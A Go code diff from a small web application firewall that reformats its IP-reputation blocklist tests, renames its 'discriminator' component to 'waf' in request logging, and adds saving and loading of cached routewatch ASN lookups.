err := lists.Load([]reputation.List{
|
||||||
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
|
{
|
||||||
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
|
URL: dropURL,
|
||||||
|
Fetched: time.Now().Add(-time.Hour),
|
||||||
|
Lines: []string{"203.0.113.9"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
URL: torURL,
|
||||||
|
Fetched: time.Now().Add(-refresh),
|
||||||
|
Lines: []string{"198.51.100.9"},
|
||||||
|
},
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
@@ -290,16 +333,20 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
// drop.txt is fetched, and a refresh later the fetch downloads it
|
// drop.txt is fetched, and a refresh later the fetch downloads it
|
||||||
// whole but fails on a line that does not read.
|
// whole but fails on a line that does not read.
|
||||||
servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
|
servers := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "198.51.100.1\n"},
|
||||||
|
}
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
|
|
||||||
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
||||||
time.Sleep(refresh)
|
time.Sleep(refresh)
|
||||||
wantFetches(t, servers, 2)
|
wantFetches(t, servers, 2)
|
||||||
|
|
||||||
// Restarted with what reputation.json keeps, it waits a refresh
|
// Restarted with what lists.json keeps, it waits a refresh
|
||||||
// after the failed try, as it does while it runs.
|
// after the failed try, as it does while it runs.
|
||||||
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
|
restarted := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "198.51.100.2\n"},
|
||||||
|
}
|
||||||
again := reputation.New(params(dropURL))
|
again := reputation.New(params(dropURL))
|
||||||
again.SetTransport(restarted)
|
again.SetTransport(restarted)
|
||||||
|
|
||||||
@@ -349,11 +396,14 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
wantFetches(t, servers, 1)
|
wantFetches(t, servers, 1)
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
|
||||||
t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
|
t.Errorf(
|
||||||
waiting(queue))
|
"%d failures and alerts %+v, want none",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
waiting(queue),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted an hour later with what reputation.json keeps, it fetches
|
// Restarted an hour later with what lists.json keeps, it fetches
|
||||||
// tor.txt, never tried, at once, and drop.txt a refresh after its
|
// tor.txt, never tried, at once, and drop.txt a refresh after its
|
||||||
// cut-off try.
|
// cut-off try.
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
|||||||
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
|
||||||
percent, listed := lists.ASNLimitPercent(asn)
|
percent, listed := lists.ASNLimitPercent(asn)
|
||||||
if !listed || percent != want {
|
if !listed || percent != want {
|
||||||
t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
|
t.Errorf(
|
||||||
|
"%s has %d (listed %t), want %d",
|
||||||
|
asn,
|
||||||
|
percent,
|
||||||
|
listed,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
|
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
|
|||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
if got := lists.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.List{kept},
|
||||||
|
) {
|
||||||
t.Errorf("copies %+v, want only %+v", got, kept)
|
t.Errorf("copies %+v, want only %+v", got, kept)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
err = lists.Load(
|
||||||
|
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
|
||||||
"; DROP", "203.0.113.300",
|
"; DROP", "203.0.113.300",
|
||||||
}}})
|
}}},
|
||||||
|
)
|
||||||
|
|
||||||
const want = "the copy of " + dropURL +
|
const want = "the copy of " + dropURL +
|
||||||
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
|
||||||
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
|
|||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
|
if got := lists.Snapshot(); !reflect.DeepEqual(
|
||||||
|
got,
|
||||||
|
[]reputation.List{kept},
|
||||||
|
) {
|
||||||
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
t.Errorf("copies %+v after the error, want %+v still", got, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
// wantListedBy checks the URLs of the blocklists lists says list addr.
|
||||||
func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
|
func wantListedBy(
|
||||||
|
t *testing.T,
|
||||||
|
lists *reputation.Lists,
|
||||||
|
addr string,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := lists.ListedBy(netip.MustParseAddr(addr))
|
got := lists.ListedBy(netip.MustParseAddr(addr))
|
||||||
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := waiting(queue)
|
got := waiting(queue)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
|
if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
|
queue.Suppressed() != 1 {
|
||||||
queue.Suppressed(), want)
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, %d held back, want only %+v and 1",
|
||||||
|
got,
|
||||||
|
queue.Suppressed(),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,11 @@
|
|||||||
// Package requestlog writes the lines sww prints on stdout: one
|
// Package requestlog writes the lines sww prints on stdout: one
|
||||||
// JSON object per request, two from discriminator and a short one from rproxy,
|
// JSON object per request, two from waf and a short one from rproxy,
|
||||||
// marked "type":"request", and the process's own messages as JSON lines marked
|
// marked "type":"request", and the process's own messages as JSON lines marked
|
||||||
// "type":"process".
|
// "type":"process".
|
||||||
package requestlog
|
package requestlog
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -14,9 +15,9 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The action a request line names: what discriminator did with the request.
|
// The action a request line names: what waf did with the request.
|
||||||
const (
|
const (
|
||||||
// ActionForward is a request discriminator allowed, which rproxy passes to
|
// ActionForward is a request waf allowed, which rproxy passes to
|
||||||
// the app.
|
// the app.
|
||||||
ActionForward = "forward"
|
ActionForward = "forward"
|
||||||
|
|
||||||
@@ -55,7 +56,7 @@ const (
|
|||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
// ActionOwnEndpoint is a request discriminator answered at one of its own
|
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||||
// endpoints, or a question about a path under /_sww/.
|
// endpoints, or a question about a path under /_sww/.
|
||||||
ActionOwnEndpoint = "own_endpoint"
|
ActionOwnEndpoint = "own_endpoint"
|
||||||
)
|
)
|
||||||
@@ -69,14 +70,14 @@ const OffenceLimit = "limit"
|
|||||||
// that broke the error burst.
|
// that broke the error burst.
|
||||||
const LimitHitMinuteRefusals = "minute_refusals"
|
const LimitHitMinuteRefusals = "minute_refusals"
|
||||||
|
|
||||||
// The discriminator_line a request line names, which says which of
|
// The waf_line a request line names, which says which of
|
||||||
// discriminator's two lines about a question it is.
|
// waf's two lines about a question it is.
|
||||||
const (
|
const (
|
||||||
// DiscriminatorLineDecision is discriminator's line at its decision.
|
// WAFLineDecision is waf's line at its decision.
|
||||||
DiscriminatorLineDecision = "decision"
|
WAFLineDecision = "decision"
|
||||||
// DiscriminatorLineReport is discriminator's line when rproxy's report
|
// WAFLineReport is waf's line when rproxy's report
|
||||||
// comes, with the decision's fields and the report's together.
|
// comes, with the decision's fields and the report's together.
|
||||||
DiscriminatorLineReport = "report"
|
WAFLineReport = "report"
|
||||||
)
|
)
|
||||||
|
|
||||||
// timeLayout is RFC 3339 with milliseconds.
|
// timeLayout is RFC 3339 with milliseconds.
|
||||||
@@ -89,9 +90,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
|
|||||||
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
|
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
|
||||||
type Line struct {
|
type Line struct {
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
// DiscriminatorLine is DiscriminatorLineDecision or DiscriminatorLineReport
|
// WAFLine is WAFLineDecision or WAFLineReport
|
||||||
// on discriminator's two lines about a question.
|
// on waf's two lines about a question.
|
||||||
DiscriminatorLine string `json:"discriminator_line,omitempty"`
|
WAFLine string `json:"waf_line,omitempty"`
|
||||||
|
|
||||||
// The standard web log fields. Scheme is how the client reached rproxy, or
|
// The standard web log fields. Scheme is how the client reached rproxy, or
|
||||||
// the trusted proxy in front of it.
|
// the trusted proxy in front of it.
|
||||||
@@ -111,7 +112,7 @@ type Line struct {
|
|||||||
UserAgent string `json:"user_agent"`
|
UserAgent string `json:"user_agent"`
|
||||||
|
|
||||||
// Request detail. RequestID is the id rproxy made for the request, or for a
|
// Request detail. RequestID is the id rproxy made for the request, or for a
|
||||||
// request to discriminator's own endpoints a new one. ForwardedFor is the
|
// request to waf's own endpoints a new one. ForwardedFor is the
|
||||||
// X-Forwarded-For header as received. ClientGroup is the netblock the
|
// X-Forwarded-For header as received. ClientGroup is the netblock the
|
||||||
// client is counted as. ASN, ASName and Country are the client's AS
|
// client is counted as. ASN, ASName and Country are the client's AS
|
||||||
// number, AS name and country, as looked up.
|
// number, AS name and country, as looked up.
|
||||||
@@ -131,7 +132,7 @@ type Line struct {
|
|||||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||||
HasCookie bool `json:"has_cookie,omitempty"`
|
HasCookie bool `json:"has_cookie,omitempty"`
|
||||||
|
|
||||||
// Response detail, of discriminator's own answer. Aborted is true when
|
// Response detail, of waf's own answer. Aborted is true when
|
||||||
// rproxy, or the admin's tool, went away before the answer.
|
// rproxy, or the admin's tool, went away before the answer.
|
||||||
ResponseContentType string `json:"response_content_type,omitempty"`
|
ResponseContentType string `json:"response_content_type,omitempty"`
|
||||||
Aborted bool `json:"aborted,omitempty"`
|
Aborted bool `json:"aborted,omitempty"`
|
||||||
@@ -142,7 +143,7 @@ type Line struct {
|
|||||||
// taken with a request it would have refused: ActionClientDenied,
|
// taken with a request it would have refused: ActionClientDenied,
|
||||||
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
||||||
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
||||||
// ActionBlockedByCoreRuleSet, or, in discriminator,
|
// ActionBlockedByCoreRuleSet, or, in waf,
|
||||||
// ActionRequestHeaderTooLarge for the header limits.
|
// ActionRequestHeaderTooLarge for the header limits.
|
||||||
WouldAction string `json:"would_action,omitempty"`
|
WouldAction string `json:"would_action,omitempty"`
|
||||||
// Heuristic is the name of the heuristic that refused the request, in
|
// Heuristic is the name of the heuristic that refused the request, in
|
||||||
@@ -151,7 +152,7 @@ type Line struct {
|
|||||||
Heuristic string `json:"heuristic,omitempty"`
|
Heuristic string `json:"heuristic,omitempty"`
|
||||||
HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
|
HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
|
||||||
// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
|
// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
|
||||||
// the heuristic that banned the client after discriminator answered the
|
// the heuristic that banned the client after waf answered the
|
||||||
// request.
|
// request.
|
||||||
AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
|
AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
|
||||||
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
|
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
|
||||||
@@ -231,7 +232,7 @@ type RProxyLine struct {
|
|||||||
// sooner. DurationResponseMS runs from then until the answer ends.
|
// sooner. DurationResponseMS runs from then until the answer ends.
|
||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition discriminator answered or, while
|
// Disposition is the valid disposition waf answered or, while
|
||||||
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||||
// when neither gave one.
|
// when neither gave one.
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
@@ -252,14 +253,20 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
|
|||||||
return writeJSONLine(w, line)
|
return writeJSONLine(w, line)
|
||||||
}
|
}
|
||||||
|
|
||||||
// writeJSONLine writes line to w as one JSON line.
|
// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
|
||||||
|
// ">" as they are, so a query string reads as it was sent.
|
||||||
func writeJSONLine(w io.Writer, line any) error {
|
func writeJSONLine(w io.Writer, line any) error {
|
||||||
encoded, err := json.Marshal(line)
|
var encoded bytes.Buffer
|
||||||
|
|
||||||
|
encoder := json.NewEncoder(&encoded)
|
||||||
|
encoder.SetEscapeHTML(false)
|
||||||
|
|
||||||
|
err := encoder.Encode(line)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the request log line: %w", err)
|
return fmt.Errorf("encode the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = w.Write(append(encoded, '\n'))
|
_, err = w.Write(encoded.Bytes())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("write the request log line: %w", err)
|
return fmt.Errorf("write the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
err := requestlog.Write(&out, &requestlog.Line{
|
err := requestlog.Write(&out, &requestlog.Line{
|
||||||
Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
|
Time: requestlog.FormatTime(
|
||||||
|
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
|
||||||
|
),
|
||||||
ClientIP: "203.0.113.9",
|
ClientIP: "203.0.113.9",
|
||||||
Status: 200,
|
Status: 200,
|
||||||
Action: requestlog.ActionForward,
|
Action: requestlog.ActionForward,
|
||||||
@@ -67,6 +69,50 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
var out bytes.Buffer
|
||||||
|
|
||||||
|
err := requestlog.Write(&out, &requestlog.Line{
|
||||||
|
Query: "a=1&b=<2>",
|
||||||
|
Referer: "https://example.com/?x=1&y=<2>",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("write: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = requestlog.WriteRProxyLine(
|
||||||
|
&out,
|
||||||
|
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("write the rproxy line: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
|
||||||
|
if len(lines) != 2 {
|
||||||
|
t.Fatalf("wrote %q, want two lines", out.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, line := range lines {
|
||||||
|
if !json.Valid([]byte(line)) {
|
||||||
|
t.Errorf("%s is not valid JSON", line)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
|
||||||
|
t.Errorf("%s does not hold the query as sent", line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(
|
||||||
|
lines[0],
|
||||||
|
`"referer":"https://example.com/?x=1&y=<2>"`,
|
||||||
|
) {
|
||||||
|
t.Errorf("%s does not hold the referer as sent", lines[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -94,7 +140,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
|
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
|
||||||
|
Info("starting",
|
||||||
"version", "v1")
|
"version", "v1")
|
||||||
|
|
||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
@@ -104,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
t.Fatalf("decode %q: %v", out.String(), err)
|
t.Fatalf("decode %q: %v", out.String(), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
|
if fields["type"] != "process" ||
|
||||||
fields["msg"] != "starting" || fields["level"] != "INFO" ||
|
fields["instance"] != "fsn1app1/blog" ||
|
||||||
|
fields["msg"] != "starting" ||
|
||||||
|
fields["level"] != "INFO" ||
|
||||||
fields["version"] != "v1" {
|
fields["version"] != "v1" {
|
||||||
t.Errorf("process line %v", fields)
|
t.Errorf("process line %v", fields)
|
||||||
}
|
}
|
||||||
@@ -116,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
||||||
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
||||||
time.Since(logged) > time.Minute {
|
time.Since(logged) > time.Minute {
|
||||||
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
|
t.Errorf(
|
||||||
|
"process line time %q, want now in UTC with milliseconds",
|
||||||
|
timeText,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -133,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
|
processLog := requestlog.NewProcessLogger(
|
||||||
|
&out,
|
||||||
|
"fsn1app1/blog",
|
||||||
|
level,
|
||||||
|
)
|
||||||
for _, at := range levels {
|
for _, at := range levels {
|
||||||
processLog.Log(t.Context(), at, "message")
|
processLog.Log(t.Context(), at, "message")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
// Package routewatch asks a routewatch instance about client addresses, in the
|
// Package routewatch asks a routewatch instance about client addresses, in the
|
||||||
// background, and keeps its answers in memory. A routewatch instance knows, for
|
// background, and keeps its answers. A routewatch instance knows, for an
|
||||||
// an address, the netblock it is announced in and the AS that originates it.
|
// address, the netblock it is announced in and the AS that originates it. The
|
||||||
|
// answers are kept in memory, for at most 100,000 clients and for an hour each,
|
||||||
|
// and are written to routewatch.json and read from it by the state package.
|
||||||
package routewatch
|
package routewatch
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -13,6 +15,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
|
"slices"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -65,6 +68,17 @@ type Route struct {
|
|||||||
ASN uint32
|
ASN uint32
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Answer is what routewatch answered about a client, as routewatch.json holds
|
||||||
|
// it: the netblock the client's address is announced in, none for an address
|
||||||
|
// without a live route, the AS that originates it, and when routewatch
|
||||||
|
// answered.
|
||||||
|
type Answer struct {
|
||||||
|
Client netip.Prefix `json:"client"`
|
||||||
|
Netblock netip.Prefix `json:"netblock"`
|
||||||
|
ASN uint32 `json:"asn"`
|
||||||
|
Answered time.Time `json:"answered"`
|
||||||
|
}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||||
@@ -84,23 +98,16 @@ type Client struct {
|
|||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
// answers are by client. Each is added as it comes and never moved up,
|
// answers are by client. Each is added as it comes and never moved up,
|
||||||
// so that the one that came longest ago is the first dropped.
|
// so that the one that came longest ago is the first dropped.
|
||||||
answers *simplelru.LRU[netip.Prefix, answer]
|
answers *simplelru.LRU[netip.Prefix, Answer]
|
||||||
// asking are the clients whose query is under way.
|
// asking are the clients whose query is under way.
|
||||||
asking map[netip.Prefix]bool
|
asking map[netip.Prefix]bool
|
||||||
// retryAt is when routewatch may be asked again after a query failed.
|
// retryAt is when routewatch may be asked again after a query failed.
|
||||||
retryAt time.Time
|
retryAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
// answer is one kept answer: the route, or why there is none, and when it came.
|
|
||||||
type answer struct {
|
|
||||||
route Route
|
|
||||||
missing Missing
|
|
||||||
came time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
// New returns a Client with no answer yet.
|
// New returns a Client with no answer yet.
|
||||||
func New(params Params) *Client {
|
func New(params Params) *Client {
|
||||||
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
|
answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -128,8 +135,12 @@ func (c *Client) Route(
|
|||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
kept, found := c.answers.Peek(client)
|
kept, found := c.answers.Peek(client)
|
||||||
if found && now.Sub(kept.came) < answerKept {
|
if found && now.Sub(kept.Answered) < answerKept {
|
||||||
return kept.route, kept.missing
|
if !kept.Netblock.IsValid() {
|
||||||
|
return Route{}, NoRoute
|
||||||
|
}
|
||||||
|
|
||||||
|
return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
if now.Before(c.retryAt) {
|
if now.Before(c.retryAt) {
|
||||||
@@ -145,12 +156,62 @@ func (c *Client) Route(
|
|||||||
return Route{}, NoAnswerYet
|
return Route{}, NoAnswerYet
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Snapshot returns every answer still in use, sorted by client, as
|
||||||
|
// routewatch.json lists them.
|
||||||
|
func (c *Client) Snapshot() []Answer {
|
||||||
|
c.mu.Lock()
|
||||||
|
|
||||||
|
now := c.params.Now()
|
||||||
|
answers := make([]Answer, 0, c.answers.Len())
|
||||||
|
|
||||||
|
for _, kept := range c.answers.Values() {
|
||||||
|
if now.Sub(kept.Answered) < answerKept {
|
||||||
|
answers = append(answers, kept)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
slices.SortFunc(answers, func(a, b Answer) int {
|
||||||
|
return a.Client.Compare(b.Client)
|
||||||
|
})
|
||||||
|
|
||||||
|
return answers
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load keeps answers, read from routewatch.json, in place of those it keeps,
|
||||||
|
// but for those that came answerKept ago or more and, past maxAnswers, those
|
||||||
|
// that came longest ago.
|
||||||
|
func (c *Client) Load(answers []Answer) {
|
||||||
|
answers = slices.Clone(answers)
|
||||||
|
slices.SortStableFunc(answers, func(a, b Answer) int {
|
||||||
|
return a.Answered.Compare(b.Answered)
|
||||||
|
})
|
||||||
|
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
|
||||||
|
c.answers.Purge()
|
||||||
|
|
||||||
|
now := c.params.Now()
|
||||||
|
|
||||||
|
for _, kept := range answers {
|
||||||
|
if now.Sub(kept.Answered) < answerKept {
|
||||||
|
c.answers.Add(kept.Client, kept)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
||||||
// query as no longer under way. A query that fails gives no answer, and
|
// query as no longer under way. A query that fails gives no answer, and
|
||||||
// routewatch is not asked again for failureKept. Only the first failure of
|
// routewatch is not asked again for failureKept. Only the first failure of
|
||||||
// those under way is logged.
|
// those under way is logged.
|
||||||
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
func (c *Client) ask(
|
||||||
route, missing, err := c.query(ctx, addr)
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
addr netip.Addr,
|
||||||
|
) {
|
||||||
|
route, err := c.query(ctx, addr)
|
||||||
now := c.params.Now()
|
